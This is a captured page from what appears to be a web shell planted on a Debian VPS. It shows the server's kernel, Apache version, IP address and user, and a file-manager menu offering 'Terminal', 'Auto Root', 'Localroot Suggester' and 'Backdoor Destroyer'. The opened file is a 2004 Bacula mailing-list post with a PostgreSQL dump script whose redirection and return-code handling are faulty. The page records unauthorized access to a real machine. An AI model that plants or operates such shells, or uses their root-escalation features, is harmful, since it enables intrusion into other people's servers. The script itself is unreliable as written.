Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.122
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
bacula-common /
examples /
database /
Delete
Unzip
Name
Size
Permission
Date
Action
bacula-sqlite_2_mysqldump.sh
1.03
KB
-rwxr-xr-x
2016-09-21 11:58
dbcheck.sql.gz
2.04
KB
-rw-r--r--
2016-09-21 11:58
postgresql-dump.txt
1.52
KB
-rw-r--r--
2016-09-21 11:58
postgresql-mysql-dump.txt
2.22
KB
-rw-r--r--
2016-09-21 11:58
sqlite2pgsql.gz
2.29
KB
-rw-r--r--
2016-09-21 11:58
Save
Rename
To: bacula-users@lists.sourceforge.net Subject: Re: [Bacula-users] backup postgresql databases From: Valtteri Vuorikoski <vuori@geo0-hel-fi.magenta.net> Date: 11 Mar 2004 14:56:13 +0000 Mathieu Arnold <mat@mat.cc> writes: > I was wondering if someone already had some script, or ways of doings scripts > to backup (and maybe restore) pgsql databases. I'm balancing between taking a > snapshot of the database directory and backuping that, dumping the datas into > .sql.gz files, into .tgz files, or into a pipe letting bacula deal with the > compression. Here's a quick shell script hack to dump all databases into separate tars with pg_dump: do_pgsql() { mkdir $dump_pg || exit 3 psql -Atc 'select datname from pg_database where datistemplate=false' template1 postgres > $dump_pg/databases || exit 4 touch $dump_pg/dump.log for d in `cat $dump_pg/databases` ; do pg_dump -U postgres -Ft "$d" > $dump_pg/"$d.tar" >> $dump_pg/dump.log 2>&1 [ "$retval" -eq 0 ] && retval=$? done } Set the variable dump_pg to point to the directly where you want the dump. Then back it up and delete when you're done. You could probably use fs snapshots if you LOCK EXCLUSIVE all tables and CHECKPOINT the transaction log, but as postgresql's relationship between files and tables is not very transparent (such as with mysql), I think particularly partial restores would end up being rather problematic. Backup/restore capability does not really appear to be postgresql's forte, unfortunately. -- Valtteri Vuorikoski <vuori@magenta.net> MagentaSites Oy